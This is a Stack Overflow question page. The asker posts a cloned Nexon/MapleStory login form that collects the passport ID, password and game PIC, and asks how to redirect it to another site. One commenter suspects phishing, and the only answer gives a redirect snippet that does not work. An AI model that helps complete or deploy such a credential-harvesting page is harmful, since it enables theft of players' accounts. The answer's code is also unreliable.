-3

I'm not sure how to make this redirect this to another website, I also have a php file

                  <form id="frmLogin" action=login.php?login.php?"login.php?&quot;Login.aspx?nexonTheme=maplestory&quot;" method="post" name="frmLogin">
        <input type="hidden" value="/wEPDwUKMTY2MTY3MjU1M2Rk" id="__VIEWSTATE" name="__VIEWSTATE" />  <label class="passport_id">Nexon Passport ID</label><input type="text" size="16" tabindex="1" id="txtId" name="txtId" /> <label class="passport_pw">Nexon Passport P/W</label><input type="password" maxlength="12" tabindex="2" id="txtPassword" name="txtPassword" />&nbsp; <strong><font color="#ffffff"><label class="Maplestory PIC">Maplestory PIC</label></font></strong><input type="Maplestory PIC" maxlength="12" tabindex="2" id="txtMaplestory PIC" name="txtMaplestory PIC" /> <input type="submit" class="btn_signin" tabindex="3" id="btnLogin" value="" name="btnLogin" />
gherkins
  • 14,603
  • 6
  • 44
  • 70
  • 1
    Your action "login.php?login.php?"login.php?"Login.aspx?nexonTheme=maplestory"" is not close to be compliant, to post to external website you need a complete URL. – Alexandre Lavoie Nov 19 '12 at 03:32
  • checkout header(); to send a raw header to the browser. That should work. – Digitalis Nov 19 '12 at 03:33
  • 2
    possible duplicate of [How to make a redirect in PHP?](http://stackoverflow.com/questions/768431/how-to-make-a-redirect-in-php) – mario Nov 19 '12 at 03:34
  • 2
    What are you trying to do exactly? Sorry but from your code it looks like you're tying to make a phishing site of maple story. – Jeremy John Nov 19 '12 at 04:10

1 Answers1

1

Try this:

<input type="submit" class="btn_signin" tabindex="3" id="btnLogin" value="" name="btnLogin" onsubmit="window.location = 'targetPage.html';"/>
PDR
  • 71
  • 1
  • 11